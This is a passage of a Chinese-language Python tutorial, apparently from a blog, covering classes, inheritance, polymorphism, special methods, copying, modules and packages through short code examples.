class="comment">#在类的外部使用name与age</span></span><br><span class="line">print(stu.name)</span><br><span class="line"><span class="comment">#print(stu.__age)</span></span><br><span class="line">print(<span class="built_in">dir</span>(stu))</span><br><span class="line">print(stu._Student__age)<span class="comment">#在类的外部可以通过_Student__age进行访问</span></span><br></pre></td></tr></table></figure><h2 id="2-继承"><a class="markdownIt-Anchor" href="#2-继承">#</a> 2. 继承</h2><p>** 继承的特点：** 如果一个类没有继承任何类，则默认继承 object；Python 支持多继承；定义子类时，必须在其构造函数中调用父类的构造函数。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#语法结构</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> 子类类名(<span class="params">父类<span class="number">1</span>，父类<span class="number">2.</span>..</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Person</span>(<span class="params"><span class="built_in">object</span></span>):</span><span class="comment">#Person继承object类</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,anme,age</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">info</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(self.name,self.age)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>(<span class="params">Person</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age,stu_no</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(name,age)</span><br><span class="line">        self.stu_no = stu_no</span><br><span class="line">        </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Teacher</span>(<span class="params">Person</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age,teachofyear</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(name,age)</span><br><span class="line">        self.teachofyear = teachofyear</span><br><span class="line">       </span><br><span class="line">stu = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>,<span class="string">&#x27;1001&#x27;</span>)</span><br><span class="line">teacher = Teacher(<span class="string">&#x27;李四&#x27;</span>，<span class="number">34</span>，<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">stu.info()</span><br><span class="line">teacher.info()</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span>(<span class="params">A,B</span>):</span><span class="comment">#Python支持多继承</span></span><br><span class="line">    <span class="keyword">pass</span></span><br></pre></td></tr></table></figure><h2 id="3-方法重写"><a class="markdownIt-Anchor" href="#3-方法重写">#</a> 3. 方法重写</h2><ul><li>如果子类对继承自父类的某个属性或方法不满意，可以在子类中对其（方法体）进行重新编写。</li><li>子类重写后的方法中可以通过 super ().xxx () 调用父类中被重写的方法。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Person</span>(<span class="params"><span class="built_in">object</span></span>):</span><span class="comment">#Person继承object类</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,anme,age</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">info</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(self.name,self.age)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>(<span class="params">Person</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age,stu_no</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(name,age)</span><br><span class="line">        self.stu_no = stu_no</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">info</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().info()</span><br><span class="line">        print(self.stu_no)</span><br><span class="line">        </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Teacher</span>(<span class="params">Person</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age,teachofyear</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().__init__(name,age)</span><br><span class="line">        self.teachofyear = teachofyear</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">info</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="built_in">super</span>().info()</span><br><span class="line">        print(<span class="string">&#x27;教龄&#x27;</span>,self.teachofyear)</span><br><span class="line">       </span><br><span class="line">stu = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>,<span class="string">&#x27;1001&#x27;</span>)</span><br><span class="line">teacher = Teacher(<span class="string">&#x27;李四&#x27;</span>，<span class="number">34</span>，<span class="number">10</span>)</span><br><span class="line"></span><br><span class="line">stu.info()</span><br><span class="line">teacher.info()</span><br></pre></td></tr></table></figure><h2 id="4-object类"><a class="markdownIt-Anchor" href="#4-object类">#</a> 4. object 类</h2><ul><li>object 类是所有类的父类，因此所有类都有 object 类的属性和方法。</li><li>内置函数 dir () 可以查看指定对象所有属性。</li><li>Object 有一个_str_() 方法，用于返回一个对于 “对象的描述”，对应于内置函数 str () 经常用于 print () 方法，帮助我们查看对象的信息，所以我们经常会对_str_() 进行重写。</li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">   <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">    self.name = name</span><br><span class="line">    self.age = age</span><br><span class="line">   <span class="function"><span class="keyword">def</span> <span class="title">__str__</span>(<span class="params">self</span>):</span></span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;我的名字是&#123;0&#125;，今年&#123;1&#125;岁。&#x27;</span>.<span class="built_in">format</span>(self.name,self,age)</span><br><span class="line">stu = Student(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>)</span><br><span class="line">print(<span class="built_in">dir</span>(stu))</span><br><span class="line">print(stu)<span class="comment">#默认调用__str__()方法</span></span><br><span class="line">print(<span class="built_in">type</span>(stu))</span><br></pre></td></tr></table></figure><h2 id="5-多态"><a class="markdownIt-Anchor" href="#5-多态">#</a> 5. 多态</h2><p>简单地说，多态就是 “具有多种形态”，它指的是：即便不知道一个变量所引用地对象到底是什么类型，仍然可以通过这个变量调用方法，在运行过程中根据变量所用对象的类型，动态决定调用哪个对象中的方法。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Animal</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;动物会吃&#x27;</span>)</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Dog</span>(<span class="params">Animal</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;狗吃骨头...&#x27;</span>)</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Cat</span>(<span class="params">Animal</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;猫吃鱼...&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Person</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;人吃五谷杂粮&#x27;</span>)</span><br><span class="line">        </span><br><span class="line"><span class="comment">#定义一个函数</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>(<span class="params">obj</span>):</span></span><br><span class="line">    obj.eat()</span><br><span class="line"><span class="comment">#开始调用函数</span></span><br><span class="line">fun(Cat())</span><br><span class="line">fun(Dog())</span><br><span class="line">fun(Animal())</span><br><span class="line">print(<span class="string">&#x27;-----------------------&#x27;</span>)</span><br><span class="line">fun(Person())</span><br></pre></td></tr></table></figure><p><strong>静态语言和动态语言关于多态的区别：</strong></p><ul><li>静态语言实现多态的三个必要条件：继承，方法重写，父类引用指向子类对象，例如 Java。</li><li>动态语言的多态崇尚 “鸭子类型”。当看到一只鸟走起来像鸭子、游泳起来像鸭子，那么这只鸟就可以被称为鸭子。在鸭子类型中，不需要关心对象是什么类型，到底是不是鸭子，只关心对象的行为。</li></ul><h2 id="6-特殊方法和特殊属性"><a class="markdownIt-Anchor" href="#6-特殊方法和特殊属性">#</a> 6. 特殊方法和特殊属性</h2><table>    <tr>        <td > &nbsp </td>        <td style="text-align:center">  名称  </td>        <td style="text-align:center">  描述  </td>    </tr>    <tr>        <td style="text-align:center"> 特殊属性 </td>        <td style="text-align:center">__dict()__</td>        <td >获得类对象或者实例对象所绑定的所有属性和方法的字典</td>    </tr>    <tr>               <th style="text-align:center" rowspan="4"> 特殊方法 </th>        <td style="text-align:center">__len__()</td>        <td >通过重写__len__()方法，让内置函数len()的参数可以是自定义类型</td>    </tr>      <tr>          <td style="text-align:center">__add__()</td>         <td >通过重写__add__()方法，可以使用自定义对象具有“+”功能</td>    </tr>      <tr>          <td style="text-align:center">__new__()</td>         <td >用于创建对象</td>    </tr>     <tr>          <td style="text-align:center">__init__()</td>         <td >对创建的对象进行初始化</td>    </tr> </table><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;特殊属性&#x27;&#x27;&#x27;</span></span><br><span class="line">print(<span class="built_in">dir</span>(<span class="built_in">object</span>))</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">A</span>:</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">B</span>:</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">C</span>(<span class="params">A,B</span>):</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">D</span>(<span class="params">A</span>):</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="comment">#创建C类的对象</span></span><br><span class="line">x = C(<span class="string">&#x27;Jack&#x27;</span>,<span class="number">20</span>)<span class="comment">#x是C类型的一个实例对象</span></span><br><span class="line">print(x.__dict__)<span class="comment">#实例对象的属性字典</span></span><br><span class="line">print(C.__dict__)</span><br><span class="line">print(<span class="string">&#x27;-------------------------&#x27;</span>)</span><br><span class="line">print(x.__class__)<span class="comment">#输出对象所属的类</span></span><br><span class="line">print(C.__bases__)<span class="comment">#输出C类的父类类型的元素</span></span><br><span class="line">print(C.__base__)<span class="comment">#输出类的基类</span></span><br><span class="line">print(C.__mro__)<span class="comment">#类的层次结构</span></span><br><span class="line">print(A.__subclasses__())<span class="comment">#输出A的子类</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;特殊方法&#x27;&#x27;&#x27;</span></span><br><span class="line">a = <span class="number">20</span></span><br><span class="line">b = <span class="number">100</span></span><br><span class="line">c = a+b<span class="comment">#两个int类型的对象相加操作</span></span><br><span class="line">d = a.__add__(b)</span><br><span class="line">print(c)</span><br><span class="line">print(d)</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name</span>):</span></span><br><span class="line">        self.name = name</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__add__</span>(<span class="params">self,other</span>):</span></span><br><span class="line">        <span class="keyword">return</span> self.name + other.name</span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__len__</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">len</span>(self.name)</span><br><span class="line">stu1 = Student(<span class="string">&#x27;Jack&#x27;</span>)</span><br><span class="line">stu2 = Student(<span class="string">&#x27;李四&#x27;</span>)</span><br><span class="line"></span><br><span class="line">s = stu1 + stu2<span class="comment">#实现了两个对象的加法运算（因为在Student类中，编写了__add__(）特殊的方法</span></span><br><span class="line">print(s)</span><br><span class="line">s = stu1.__add__(stu2)</span><br><span class="line">print(s)</span><br><span class="line"></span><br><span class="line">print(<span class="string">&#x27;----------------------------&#x27;</span>)</span><br><span class="line">lst = [<span class="number">11</span>,<span class="number">22</span>,<span class="number">33</span>,<span class="number">44</span>]</span><br><span class="line">print(<span class="built_in">len</span>(lst))</span><br><span class="line">print(lst.__len__())</span><br><span class="line">print(<span class="built_in">len</span>(stu1))</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="string">&#x27;&#x27;&#x27;__new__()和__init__()&#x27;&#x27;&#x27;</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Person</span>(<span class="params"><span class="built_in">object</span></span>):</span></span><br><span class="line">    </span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__new__</span>(<span class="params">cls,*args,**kwargs</span>):</span><span class="comment">#9360</span></span><br><span class="line">        print(<span class="string">&#x27;__new__()被调用执行了，cls的id值为&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(cls)))</span><br><span class="line">        obj = <span class="built_in">super</span>().__new__(cls)</span><br><span class="line">        print(<span class="string">&#x27;创建的对象的id值为&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(obj)))<span class="comment">#7104</span></span><br><span class="line">        <span class="keyword">return</span> obj</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,name,age</span>):</span></span><br><span class="line">        print(<span class="string">&#x27;__init__被调用了，self的id值为：&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(self)))<span class="comment">#7104</span></span><br><span class="line">        self.name = name</span><br><span class="line">        self.age = age</span><br><span class="line">        </span><br><span class="line">print(<span class="string">&#x27;object这个类对象的id为：&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(<span class="built_in">object</span>)))<span class="comment">#3232</span></span><br><span class="line">print(<span class="string">&#x27;Person这个类对象的id为：&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(Person)))<span class="comment">#9360</span></span><br><span class="line"></span><br><span class="line"><span class="comment">#创建Person类的实例对象</span></span><br><span class="line">p1 = Person(<span class="string">&#x27;张三&#x27;</span>,<span class="number">20</span>)</span><br><span class="line">print(<span class="string">&#x27;p1这个Person类的实例对象的id为：&#123;0&#125;&#x27;</span>.<span class="built_in">format</span>(<span class="built_in">id</span>(p1)))<span class="comment">#7104</span></span><br></pre></td></tr></table></figure><h2 id="7-类的浅拷贝与深拷贝"><a class="markdownIt-Anchor" href="#7-类的浅拷贝与深拷贝">#</a> 7. 类的浅拷贝与深拷贝</h2><p>** 变量的赋值操作：** 只是形成两个变量，实际上还是指向同一个对象。</p><p>** 浅拷贝：**Python 拷贝一般都是浅拷贝，拷贝时，对象包含的子对象内容不拷贝。因此，源对象与拷贝对象会引用同一个子对象。</p><p>** 深拷贝：** 使用 copy 模块的 deepcopy 函数，递归拷贝对象中包含的子对象，源对象和拷贝对象所有的子对象也不相同。</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">CPU</span>:</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Disk</span>:</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Computer</span>:</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">__init__</span>(<span class="params">self,cpu,disk</span>):</span></span><br><span class="line">        self.cpu = cpu</span><br><span class="line">        self.disk = disk</span><br><span class="line">        </span><br><span class="line"><span class="comment">#(1)变量的赋值</span></span><br><span class="line">cpu1 = CPU()</span><br><span class="line">cpu2 = cpu1</span><br><span class="line">print(cpu1,<span class="built_in">id</span>(cpu1))</span><br><span class="line">print(cpu2,<span class="built_in">id</span>(cpu2))</span><br><span class="line"><span class="comment">#(2)类的浅拷贝</span></span><br><span class="line">print(<span class="string">&#x27;-------------------&#x27;</span>)</span><br><span class="line">disk = Disk()<span class="comment">#创建一个硬盘类的对象</span></span><br><span class="line">computer = Computer(cpu1,disk)<span class="comment">#创建一个计算机类的对象</span></span><br><span class="line"><span class="comment">#浅拷贝</span></span><br><span class="line"><span class="keyword">import</span> copy</span><br><span class="line">computer2 = copy.copy(computer)</span><br><span class="line">print(disk)</span><br><span class="line">print(computer,computer.cpu,computer.disk)</span><br><span class="line">print(computer2,computer2.cpu,computer2.disk)</span><br><span class="line">print(<span class="string">&#x27;---------------------&#x27;</span>)</span><br><span class="line"><span class="comment">#深拷贝</span></span><br><span class="line">computer3 = copy.deepcopy(computer)</span><br><span class="line">print(computer,computer.cpu,computer.disk)</span><br><span class="line">print(computer3,computer3.cpu,computer3.disk)</span><br></pre></td></tr></table></figure><p><img src="../PythonProjects/Typora_image/image-20210210175002816.png" alt="image-20210210175002816"></p><h1 id="十五-百宝箱"><a class="markdownIt-Anchor" href="#十五-百宝箱">#</a> 十五、百宝箱</h1><h2 id="1-什么叫模块"><a class="markdownIt-Anchor" href="#1-什么叫模块">#</a> 1. 什么叫模块？</h2><p><strong>模块（modules）：</strong></p><ul><li>一个模块中可以包含 N 多个函数</li><li>在 Python 中一个扩展名为 .py 的文件就是一个模块</li><li>使用模块的好处<ul><li>方便其他程序和脚本的导入并使用</li><li>避免函数名和变量名的冲突</li><li>提高代码的可维护性</li><li>提高代码的可重用性</li></ul></li></ul><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun</span>():</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">fun2</span>():</span></span><br><span class="line">    <span class="keyword">pass</span></span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">Student</span>:</span></span><br><span class="line">    native_place = <span class="string">&#x27;吉林&#x27;</span><span class="comment">#类属性</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">eat</span>(<span class="params">self</span>):</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"><span class="meta">    @classmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">cm</span>(<span class="params">cls</span>):</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line"><span class="meta">    @staticmethod</span></span><br><span class="line">    <span class="function"><span class="keyword">def</span> <span class="title">sm</span>():</span></span><br><span class="line">        <span class="keyword">pass</span></span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">a = <span class="number">10</span> </span><br><span class="line">b = <span class="number">20</span> </span><br><span class="line">print(a,b)</span><br></pre></td></tr></table></figure><h2 id="2-自定义模块"><a class="markdownIt-Anchor" href="#2-自定义模块">#</a> 2. 自定义模块</h2><blockquote><p>导入模块</p><p>import模块名称[as 别名]</p><p>from模块名称import函数 / 变量 / 类</p></blockquote><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> math</span><br><span class="line">print(<span class="built_in">id</span>(math))</span><br><span class="line">print(<span class="built_in">type</span>(math))</span><br><span class="line">print(<span class="built_in">dir</span>(math))</span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> pi</span><br><span class="line"><span class="keyword">from</span> math <span class="keyword">import</span> <span class="built_in">pow</span></span><br><span class="line">print(pi)</span><br><span class="line">print(<span class="built_in">pow</span>(<span class="number">2</span>,<span class="number">3</span>))</span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#自定义模块</span></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a+b</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">div</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a/b</span><br><span class="line"><span class="comment">#如何导入自定义模块</span></span><br><span class="line"><span class="string">&#x27;&#x27;&#x27;pycharm右键MarkDirectory as SourcesRoot&#x27;&#x27;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="3-以主程序的形式执行"><a class="markdownIt-Anchor" href="#3-以主程序的形式执行">#</a> 3. 以主程序的形式执行</h2><p>在每个模块的定义中都包括一个记录模块名称的变量_name_，程序可以检查该变量，以确定他们在哪个模块执行，如果一个模块不是被导入到其他程序中执行，那么它可能在解释器的顶端模块中执行。顶端模块的_name_变量的值为_main_</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">add</span>(<span class="params">a,b</span>):</span></span><br><span class="line">    <span class="keyword">return</span> a+b</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    print(add(<span class="number">10</span>,<span class="number">20</span>))<span class="comment">#只有当点击运行calc2模块时才会执行运算</span></span><br></pre></td></tr></table></figure><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> calc2</span><br><span class="line">print(calc2.add(<span class="number">100</span>,<span class="number">200</span>))</span><br></pre></td></tr></table></figure><h2 id="4-python中的包"><a class="markdownIt-Anchor" href="#4-python中的包">#</a> 4. Python 中的包</h2><p><strong>包</strong>是一个分层次的目录结构，它将一组功能相近的模块组织在一个目录下。</p><p>** 作用：** 代码规范；避免模块名称冲突</p><p>** 包与目录的区别：** 包含__int__.py 文件的目录叫作包；目录里通常不包含__int__.py 文件</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#单击右键，创建-Python Package</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">import</span> package</span><br><span class="line"><span class="keyword">import</span> calc</span><br><span class="line"><span class="comment">#使用import导入时只能跟包名和模块名</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">from</span> package <span class="keyword">import</span> modelA</span><br><span class="line"><span class="keyword">from</span> package.modelA <span class="keyword">import</span> a</span><br><span class="line"><span class="comment">#使用from...import可以导入包，模块，函数变量等</span></span><br></pre></td></tr></table></figure><h2 id="5-python中常见的内置模块"><a class="markdownIt-Anchor" href="#5-python中常见的内置模块">#</a> 5. Python 中常见的内置模块</h2><table><thead><tr><th style="text-align:center">模块名</th><th style="text-align:center">描述</th></tr></thead><tbody><tr><td style="text-align:center">sys</td><td style="text-align:center">与 Python 解释器及其环境操作相关的标准库</td></tr><tr><td style="text-align:center">time</td><td style="text-align:center">提供与时间相关的各种函数的标准库</td></tr><tr><td style="text-align:center">os</td><td style="text-align:center">提供了访问操作系统服务功能的标准库</td></tr><tr><td style="text-align:center">calendar</td><td 